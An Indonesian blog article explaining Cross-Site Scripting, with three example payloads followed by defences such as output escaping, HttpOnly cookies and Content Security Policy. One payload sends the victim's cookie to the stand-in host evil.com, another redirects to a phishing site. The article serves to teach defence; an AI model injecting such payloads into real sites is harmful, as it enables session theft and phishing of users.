Beranda
Artikel
Cyber Security
Teknologi
Contoh Seragan Cross-Site Scripting (XSS)

img source: steemit.com

Cross-Site Scripting (XSS) adalah jenis serangan keamanan di mana penyerang menyisipkan skrip berbahaya ke dalam konten web yang kemudian dijalankan di browser pengguna lain. XSS memungkinkan penyerang untuk mencuri data sensitif, seperti cookie dan session ID, atau mengelola konten aplikasi web dengan cara yang tidak sah. Serangan ini terjadi ketika aplikasi web tidak cukup memvalidasi atau menyaring input dari pengguna sebelum menampilkannya kembali di halaman web.

Contoh Serangan XSS

  1. Pencurian Cookie

    Salah satu contoh serangan XSS adalah pencurian cookie. Misalnya, jika penyerang menyisipkan skrip berbahaya di dalam komentar atau input form yang kemudian ditampilkan di halaman web, skrip tersebut dapat mengakses cookie pengguna dan mengirimkannya ke server milik penyerang.

    Contoh payload XSS yang digunakan dalam serangan ini adalah:

    <script>
       var img = new Image();
       img.src = "http://evil.com/steal?cookie=" + document.cookie;
    </script>

    Ketika skrip ini dieksekusi di browser korban, cookie yang disimpan di browser akan dikirim ke server penyerang, memungkinkan mereka untuk mencuri data sensitif.

  2. Pengalihan Pengguna

    Penyerang dapat menggunakan XSS untuk mengarahkan pengguna ke situs web berbahaya. Misalnya, skrip berikut ini dapat digunakan untuk mengalihkan pengguna ke situs phishing:

    <script>
       window.location = "http://phishing-site.com";
    </script>

    Jika skrip ini disisipkan di halaman yang sering dikunjungi pengguna, mereka akan secara otomatis diarahkan ke situs phishing tanpa disadari.

  3. Modifikasi Konten Halaman

    Dalam serangan ini, penyerang menyisipkan skrip yang mengubah konten halaman web. Misalnya, penyerang dapat menyisipkan skrip yang mengubah tampilan halaman atau menambahkan elemen berbahaya:

    <script>
       document.body.innerHTML += '<div>Content injected by XSS!</div>';
    </script>

    Ini dapat digunakan untuk menipu pengguna dengan konten palsu atau berbahaya.

Cara Menghindari Serangan XSS

  1. Validasi dan Sanitasi Input

    Selalu validasi dan sanitasi input dari pengguna. Gunakan whitelist untuk menentukan input yang diperbolehkan dan bersihkan karakter-karakter yang tidak diinginkan.

  2. Gunakan Escape Output

    Pastikan untuk melakukan escaping output sebelum menampilkannya di halaman web. Ini mencegah kode berbahaya dari dijalankan oleh browser. Misalnya, gunakan metode seperti htmlspecialchars di PHP untuk menghindari XSS:

    echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
  3. Gunakan HTTPOnly dan Secure Cookies

    Dengan mengatur atribut HTTPOnly pada cookie, Anda mencegah akses cookie dari skrip JavaScript. Atribut Secure memastikan cookie hanya dikirim melalui koneksi HTTPS.

  4. Implementasikan Content Security Policy (CSP)

    CSP adalah header HTTP yang memungkinkan Anda untuk menentukan sumber daya yang diizinkan untuk dimuat di halaman web Anda. Ini dapat membantu mencegah pemuatan skrip berbahaya dari sumber yang tidak dikenal.

Referensi

  1. OWASP Foundation. (2023). Cross-Site Scripting (XSS). OWASP XSS
  2. Acunetix. (2023). Cross-Site Scripting (XSS) Attack Examples. Acunetix XSS
  3. Mozilla Developer Network. (2023). Cross-Site Scripting (XSS). MDN XSS

Penulis blog

TUKANG KETIK
TUKANG KETIK
Programming is 10% writing code, and 90% understanding why it's not working. Coding is trial & error.

Tidak ada komentar

Tolong Ketikannya di jaga dan gunakan bahasa yang sopan. Terima kasih
Atau Boleh request juga artikel apa yang ingin saya bahas ditulisan saya (tapi ini kalau saya bisa dan waktunya ada) maklum saya juga kerja.